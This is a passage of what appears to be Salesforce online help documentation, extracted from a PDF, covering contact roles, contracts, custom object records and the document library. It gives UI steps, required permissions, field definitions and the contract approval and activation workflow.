Description Name of contact or person account. You can use the lookup icon to either select someone or create a contact. Option that specifies the contact or person account as primary for the record. Note that on case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section.

Primary

Role

Participating role in the account, case, contract, or opportunity, for example, Buyer, Decision Maker, or Evaluator. (Selections for this picklist can be customized by your administrator.)

See Also:
Viewing and Editing Contact Roles Adding Contact Roles What is a Person Account?

CONTRACTS
Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing business with other companies. Use Salesforce to establish and document the contracts you have with your accounts. Then, track the contract through your organizations approval process and use workflow alerts to notify yourself when to initiate contract renewals.

221

Contracts

Contracts Home

Displaying The Contracts Tab


The Contracts tab is automatically displayed for all users. If your Contracts tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 42.

See Also:
Contracts Home Administrator tip sheet: Getting Started with Contracts

Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Contracts tab: To view contracts: To create contracts: Read on contracts Read on contracts Create on contracts AND Read on accounts

Click the Contracts tab to display the contracts home page. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Contracts Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Contracts options are: Recent Contracts Choice Recently Created Description The last ten or twenty-five contracts you created, with the most recently created contract listed first. This list only includes records owned by you. The last ten or twenty-five contracts you updated, with the most recently updated contract listed first. This list only includes records owned by you. The last ten or twenty-five contracts you viewed, with the most recently viewed contract listed first. This list is derived

Recently Modified

Recently Viewed

222

Contracts

Viewing Contract Lists

Recent Contracts Choice

Description from your recent items and includes records owned by you and other users.

Approval Pending

The last ten or twenty-five contracts that have at least one approval request awaiting your approval. This list includes records owned by you and other users.

In the Recent Contracts section, click New to create a new contract.

See Also:
Contracts Overview Cloning Contracts Deleting Contracts Creating Custom List Views Displaying and Editing Contracts Creating Contracts

Viewing Contract Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contract lists: To create contracts: Read on contracts Create on contracts AND Read on accounts

The contracts list page displays a list of contracts that match your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click a contract number to view the detail. Click Edit or Del to edit or delete a contract. If Chatter is enabled, click or to follow or stop following a contract in your Chatter feed. Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information.

223

Contracts

Displaying and Editing Contracts

At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Displaying and Editing Contracts Creating Contracts Deleting Contracts Enabling the Customer Portal for Contacts and Person Accounts Customizing User Interface Settings Working with Enhanced Lists Printing List Views Using Inline Editing in Lists

Displaying and Editing Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To change contracts: Read on contracts Edit on contracts AND Read on accounts To change activated contracts: Activate Contracts

Displaying Contracts Once you have located a contract on the contracts home or list pages, click the contract number to display detailed information. From an account, click the contract number in the Contracts related list to display the contract. All contracts associated with the account are listed in the Contracts related list. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. Viewing Contract Updates and Comments (Chatter) Display a Chatter feed of updates, comments, and posts about the contract. Editing Contracts To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click Save. You can also select Save & New to save the current contract and create another. Users with the Edit permission on contracts can edit contracts until they are activated. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.

224

Contracts

Displaying and Editing Contracts

Contract Related Lists The lower portion of the display provides a snapshot of key information relating to the contract. The related lists you see are determined by your personal customization and by any customization your administrator has made to page layouts or your permissions to view related data. You can click on individual items to display additional detail. Click more at the bottom of the page or View More below a related list to display more items. Click New to directly add new items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Printing Contracts To open a printable display of the record details, in the top-right corner of the page, click Printable View. To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. For more information, see Navigating on page 13.

See Also:
Contract Approval Requests Contract History Contract Fields Creating Contracts Cloning Contracts Deleting Contracts Tagging Records Searching for Contracts

Contract Approval Requests


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays information about each approval request and includes the status and any approve or reject comments. When the status is Pending, no comment is included.

See Also:
Approving Contracts

225

Contracts

Viewing Contract Updates (Chatter)

Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information about setting up which fields are tracked, see Tracking Field History for Standard Objects on page 1120. You can report on activated contracts whose fields are tracked by clicking New Report... on the Reports tab, selecting Contract Reports as the Report type, and then selecting Contract History.

Viewing Contract Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contract. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the post, click All Updates.

Following Contracts
When you follow a contract, your Chatter feed includes field changes and contract feed updates. To follow a contract, click Follow. To stop following, click Following . The Followers list shows you who is following the contract. To view a full list, click Show All. To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select Automatically follow records I create.

See Also:
Chatter Overview Using Chatter Feeds

226

Contracts

Creating Contracts

Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To create contracts: Read on contracts Create on contracts AND Read on accounts

You must have at least read access to an account in order to associate a contract with it. To create a contract: 1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts home page. Select an Account Name to associate the new contract with that account. Alternatively, view the account record first and click New in the Contracts related list. 2. Choose a contract status. 3. Enter the start date of the contract. 4. Enter the number of months that the new contract will be in effect. Note: Your administrator may have configured Salesforce to calculate Contract End Date based on Contract Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display on the contracts edit page. 5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 228. 6. Click Save. The contract is listed under the Contracts related list of the account. Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record Type when creating a record. This determines the picklist values and status values available when creating and editing a record. For instructions on enabling record types for contracts, see Managing Record Types on page 1300. If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.

See Also:
Cloning Contracts Contract Fields Contracts Home Deleting Contracts

227

Contracts

Cloning Contracts

Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: To clone contracts: Read on contracts Create on contracts AND Read on accounts

The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example, you can add multiple contracts for the same account. Click Clone on an existing contract. Enter or change any information for the new contract and click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contract Fields Deleting Contracts

Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Field
Account Name Activated By Activated Date Billing Street

Description Name of account associated with the contract. Name of the person that activated the contract. Activation date of the contract. Street address used for billing. Up to 255 characters are allowed in this field.

228

Contracts

Contract Fields

Field
Billing City

Description City portion of billing address. Up to 40 characters are allowed in this field. State or province portion of billing address. Up to 20 characters are allowed in this field. Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field. User at your organization who authorized the contract. Date that the contract was authorized. Division to which the contract belongs. This value is automatically inherited from the related account. Available only in organizations that use divisions to segment their data. Last day the contract is in effect. Your administrator can configure Salesforce to calculate Contract End Date based on Contract Start Date and Contract Term. If this field is auto-calculated, it will not display on the contracts edit page. Title for the contract that distinguishes it from other contracts. Unique number automatically assigned to the contract. Numbering for contracts starts at 100. (Read only) Administrators can modify the format and numbering for this field. See Modifying Standard Auto-Number Fields on page 1076. User who owns the contract record. First day that the contract is in effect. Number of months that the contract is in effect. User who created the contract record. Contact on the account that authorized the contract. Date the contact signed the contract. Title of the contact who signed the contract. Statement describing the contract. User who most recently changed the contract record. Number of days before the contract end date you want to send the notification, if the contract owner and account owner wants to be notified of an upcoming contract expiration.

Billing State/Province

Billing Zip/Postal Code

Billing Country

Company Signed By Company Signed Date Contract Division

Contract End Date

Contract Name Contract Number

Contract Owner Contract Start Date Contract Term (months) Created By Customer Signed By Customer Signed Date Customer Signed Title Description Last Modified By Owner Expiration Notice

229

Contracts

Contract Fields

Field
Shipping Street

Description Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Any terms that you have specifically agreed to and want to track in the contract. Indicates the stage that the contract has reached in the contract business process. Your organization can add values to this picklist within three system-defined contract status categories: Draft, In Approval Process, and Activated. You can use these status categories to track contracts within your business process using reports and views. Important: The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

Shipping City

Shipping State/Province

Shipping Zip/Postal Code

Shipping Country

Special Terms

Status

Custom Links

Listing of custom links for contracts set up by your administrator.

See Also:
Displaying and Editing Contracts Creating Contracts Cloning Contracts

230

Contracts

Approving Contracts

Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To approve contracts: Approve Contracts

Your organization may already have a process for approving contracts. For example, you may have one person designated for each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce administrator can customize Salesforce to give the appropriate people the permissions they need to perform their part of the contract life-cycle. Before you begin customizing Salesforce, define the life-cycle of a contract in your organization. Use the following basic contract approval process to get started: 1. A user creates a contract. This user needs to have the Edit permission on contracts. All newly created contracts have a Draft status. 2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on a contract changes its status to In Approval Process. 3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the contract and submit another approval request. The status remains In Approval Process whether the approval request was accepted or rejected. 4. If accepted, a contract administrator activates the contract. Users with the Activate Contracts permission can activate a contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status.

Sending Approval Requests


To send an approval request for a contract: 1. 2. 3. 4. 5. Select the contract. Click New in the Approval Requests related list. Select the person you want to receive the approval request. Enter any request comments. Click Save. Salesforce sends an email approval request to the recipient you selected. The recipient can click a link in the email to view the contract and click Approve to accept the contract or Reject to return the approval request. All approval requests are tracked in the Approval Request related list. Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters.

Receiving Approval Requests


Use the Approval Pending list on the contracts home page to view all the contracts that require your approval. When you receive an email approval request, click the included link to view the contract.

231

Contracts

Activating Contracts

Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted to select an approval request status and enter any approval request comments. Click Save to send and save the approval request. Click Reject to return the approval request. Select an approval request status and enter any comments that you want attached to the approval request. Click Save to send your response and save the approval request. Note: You can use the standard contracts approval functionality alone or together with approval processes. The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

See Also:
Activating Contracts Displaying and Editing Contracts Creating Contracts

Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To activate contracts: Activate Contracts AND Read and Edit on contracts

Administrators and users with the Activate Contracts permission can activate contracts. To edit an activated contract, a user must have the Activate Contracts permission. Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot be changed and only users with the Delete Activated Contracts permission can delete a contract with Activated status. To activate a contract: 1. Select the contract you want to activate. 2. Click Activate. The status of an activated contract is Activated.

See Also:
Approving Contracts Displaying and Editing Contracts

232

Contracts

Deleting Contracts

Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete inactivated contracts: Delete on contracts AND Read on accounts To delete activated contracts: Delete Activated Contracts AND Read on accounts

To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete on the contract detail page. When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted. Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the contract, any related items are also restored.

See Also:
Recycle Bin Activating Contracts

Searching for Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view contracts: Read on contracts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available.

233

Custom Object Records

Custom Object Record Overview

You can also create a contract list view to find contracts that match specific criteria.

See Also:
Search Overview

CUSTOM OBJECT RECORDS


Custom Object Record Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects records store information that is unique and important to you and your organization. For example, your organization may use a custom object called Quotes to store data for your company's sales quotes. You can also use custom objects for custom applications, such as tracking software enhancements in a development life-cycle. Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data, page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record to which you have access. Administrators, and users with the Modify All Data permission, can import custom objects. See What Is Imported for Custom Objects? on page 805. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Objects Home Defining Custom Objects

234

Custom Object Records

Custom Objects Home

Custom Objects Home


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a custom object tab: To view custom object records: Read on the custom object Read on the custom object

Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom object as defined by your administrator. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click Edit. If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom Object Name] from Connections to view the custom objects that your business partners have shared with you. In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Custom Object Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The key list choices are: Recent Custom Objects Choice Recently Viewed Description The last ten or twenty-five custom object records you viewed, with the most recently viewed item listed first. This list is derived from your recent items and includes records owned by you and other users. The last ten or twenty-five custom object records you created, with the most recently created item listed first. This list only includes records owned by you. The last ten or twenty-five custom object records you updated, with the most recently updated item listed first. This list only includes records owned by you.

Recently Created

Recently Modified

235

Custom Object Records

Viewing Custom Object Lists

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Displaying and Editing Custom Object Records Creating Custom Object Records Deleting Custom Object Records Creating Custom List Views Custom Help Overview Replacing Salesforce Online Help

Viewing Custom Object Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object lists: To create custom object records: Read on the custom object Create on the custom object

The custom objects list page displays a list of custom object records in your current view. A list view includes custom object records of one type only; you cannot view more than one type of custom object in a single list view. Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user permissions to use them. Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name to edit or delete the record. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. If Chatter is enabled, click or to follow or stop following a custom object in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records, and then click Accept. Note: You can view and accept records only from queues you belong to, or if you are higher in the role hierarchy than a queue member. Administrators, users with the Modify All object-level permission for the given object, and users with the Modify All Data permission, can view and take records from any queue.

236

Custom Object Records

Displaying and Editing Custom Object Records

To transfer ownership of multiple records at once, select the box next to one or more custom object records and click Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the new record owner, and click Save. Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar to create a new custom object of that type.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views

Displaying and Editing Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: To change custom object records: Read on the custom object Edit on the custom object

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user permissions to use them. Displaying Custom Object Records Once you have located a custom object record on the custom objects tab home or list pages, click the custom object record name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. If the Service Cloud console is set up to include custom objects, select it from the Force.com app menu to find, view, and edit custom object records and their related items on one screen. See Using a Service Cloud Console on page 3504.

237

Custom Object Records

Displaying and Editing Custom Object Records

Editing Custom Object Records To update custom object record details, click Edit, and then change the fields you want to update. When you have finished, click Save. You can also click Save & New to save the current custom object record and create another. Required fields are marked with red. Note: You cannot change the Object Name or Data Type if the custom object is referenced in Apex. For more information, see Apex Code Overview on page 2086.

Custom Object Related Lists The lower portion of the custom object record detail page provides information related to the custom object record, including activities, notes, attachments, and any other related records. The related lists you see are determined by your personal customization, and by any customization your administrator has made to page layouts or your permissions to view related data. You can click on individual items to display additional detail. Click more at the bottom of the page or View More below a related list to display more items. Clicking New lets you directly add new items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Printing Custom Object Records To open a printable display of the record details, in the top-right corner of the page, click Printable View. To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. See Navigating on page 13 for more information. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Fields Creating Custom Object Records Deleting Custom Object Records Searching for Custom Object Records Tagging Records Using Custom Related Lists

238

Custom Object Records

Creating Custom Object Records

Creating Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: To create custom object records: Read on the custom object Create on the custom object

To create a new custom object record: 1. Click New. 2. Enter the information for the custom object record. 3. Click Save when you are finished, or click Save & New to save the current record and add another. If your administrator has defined relationships to other types of records, you can automatically associate the new custom object with another record. View the other record and select the custom object name from the Create New drop-down list in the sidebar, or click New Object Name in the custom object related list of the other record. If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Fields Custom Objects Home Defining Custom Objects

239

Custom Object Records

Cloning Custom Object Records

Cloning Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone custom object records: Create on the custom object

The Clone button on a custom object record quickly creates a new custom object record with the same information as the existing record. To clone a custom object record: 1. Click Clone on an existing custom object record. 2. Enter or change any information for the new record. 3. Click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Custom Object Record Fields

Using Custom Related Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object record related lists: Read on the custom object AND Read on the associated record To change custom object records: To create custom object records: To delete custom object records: Edit on the custom object Create on the custom object Delete on the custom object

Custom related lists display on the lower portion of the detail page for another record. They list the custom object records that are associated with that record. From a custom related list, you can:

240

Custom Object Records

Custom Object Record Fields

Click the custom object record name to view detailed information. Click Edit or Del to edit or delete the custom object record. Click New to create a new custom object record that is associated with the record you are viewing.

Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record. For more information, see Overview of Relationships on page 1827. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Object Record Overview Displaying and Editing Custom Object Records Creating Custom Object Records Deleting Custom Object Records

Custom Object Record Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Your administrator may also have defined additional custom fields. Field
Created By Currency Division

Description User who created the record. Currency of the record if multicurrency is enabled. Division to which the custom object record belongs. Custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division. Available only in organizations that use divisions to segment their data. User who most recently changed the record. Identifier for the custom object record. This name appears in page layouts, related lists, lookup dialogs, search results, and

Last Modified By Name

241

Custom Object Records

Deleting Custom Object Records

Field

Description key lists on tab home pages. By default, this field is added to the custom object page layout as a required field.

Owner

Assigned owner of the custom object record. If the custom object becomes the detail side of a master-detail relationship, this field is removed, as ownership of the data is controlled by the master object, or by the primary master object for a custom object with two master-detail relationships. Note: Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field.

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Custom Objects Home Custom Object Record Overview

Deleting Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete custom object records: Delete on the custom object

To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page. When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is the detail side of a master-detail relationship, any associated records are not deleted. The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored. You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records.

242

Custom Object Records

Searching for Custom Object Records

Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access to edit the associated master record.

See Also:
Recycle Bin Overview of Relationships Managing Custom Objects Deleting Relationship Groups Removing Members from Relationship Group Members

Searching for Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view custom object records: Read on the custom object

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. You can also create a custom object list view to find custom object records that match specific criteria. Custom object records appear in search results only if they have a custom tab. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Search Overview

243

Custom Object Records

Sharing Custom Object Records

Sharing Custom Object Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a custom object record: Read on the custom object

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing to more users than the default set by your administrator. However, you cannot change the sharing model to make it more restrictive than the default. To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Note: To share a custom object record with another user, that user must have the Read permission on the custom object. Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level. Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial Salesforce integration.

See Also:
Granting Access to Records Viewing Which Users Have Access

244

Documents

Document Library Overview

DOCUMENTS
Document Library Overview
Available in: All Editions except Database.com

A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each document in the document library resides in a folder. The folders attributes determine the accessibility of the folder and the documents within it. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2560.

Displaying The Documents Tab


If your Documents tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 42. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Documents Home File Size Limits in Salesforce Monitoring Resources Salesforce CRM Content Overview

Documents Home
Available in: All Editions except Database.com

User Permissions Needed To view Documents tab: To view documents: To upload new documents: Read on documents Read on documents Create on documents

Clicking on the Documents tab displays the documents home page.

245

Documents

Viewing Document Lists

Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see Customizing Your Display on page 42. Under Find a Document, enter keywords to search for a document. In the Document Folders section, select a folder to view all the documents contained in that folder. The Recent Documents section displays the last ten or twenty-five documents you viewed, with the most recently-viewed document listed first. This list is derived from your recent items and includes records owned by you and other users. Toggle the Show 25 items and Show 10 items links to change the number of items that display. In the Recent Documents section, click New to upload a new document. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Document Library Overview Viewing Document Lists Displaying and Editing Document Properties Uploading and Replacing Documents Deleting Documents Changing Document Authors Searching for Documents Managing Folders

Viewing Document Lists


Available in: All Editions except Database.com

User Permissions Needed To view documents: To change document properties: To replace documents: To delete documents: Read on documents Edit on documents Edit on documents Delete on documents

The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document information or manipulate the document. Click the document name to view document property details. For information on the document details, see Displaying and Editing Document Properties on page 247. Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document Properties on page 247.

246

Documents

Displaying and Editing Document Properties

Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin. For more information, see Deleting Documents on page 252. Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on your machine, Salesforce displays a standard download dialog prompting you to choose a save option. Choose a folder to view a list of documents stored in that folder. Click any column heading to sort the documents in ascending order by the information in that column. Click the same column heading again to sort documents in descending order. At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character. Click the Next Page or Previous Page links to go to the next or previous set of documents. At the bottom of the document list, select fewer or more to view a shorter or longer display list. Click Printable View to display the current list view in a format that is ready for printing. Note: If you can't find a document, you may not have access to the folder that contains it. For more information about folders, see Managing Folders on page 1351.

Displaying and Editing Document Properties


Available in: All Editions except Database.com

User Permissions Needed To view documents: To update properties: To replace documents: To move documents: To delete documents: Read on documents Edit on documents Edit on documents Edit on documents Delete on documents

Displaying Documents - Once you have located a document on the documents home or list pages, click the document name to display detailed information. Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When you have finished, click Save. See Document Properties on page 250 for a description of the document properties. Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 252 for more information about deleting documents. Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and Replacing Documents on page 248 for instructions on replacing documents. Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the

247

Documents

Uploading and Replacing Documents

Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received in an email. Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that match your search terms displays. You can search for terms using the following fields:
Document Name Keywords Description

If Document Content Searchable is checked, the content of a document can also be searched. Viewing Folder Contents - To view all the documents in a folder, click the folder name. Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save. To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page 13 for more information.

See Also:
Tagging Records Uploading and Replacing Documents Searching for Documents

Uploading and Replacing Documents


Available in: All Editions except Database.com

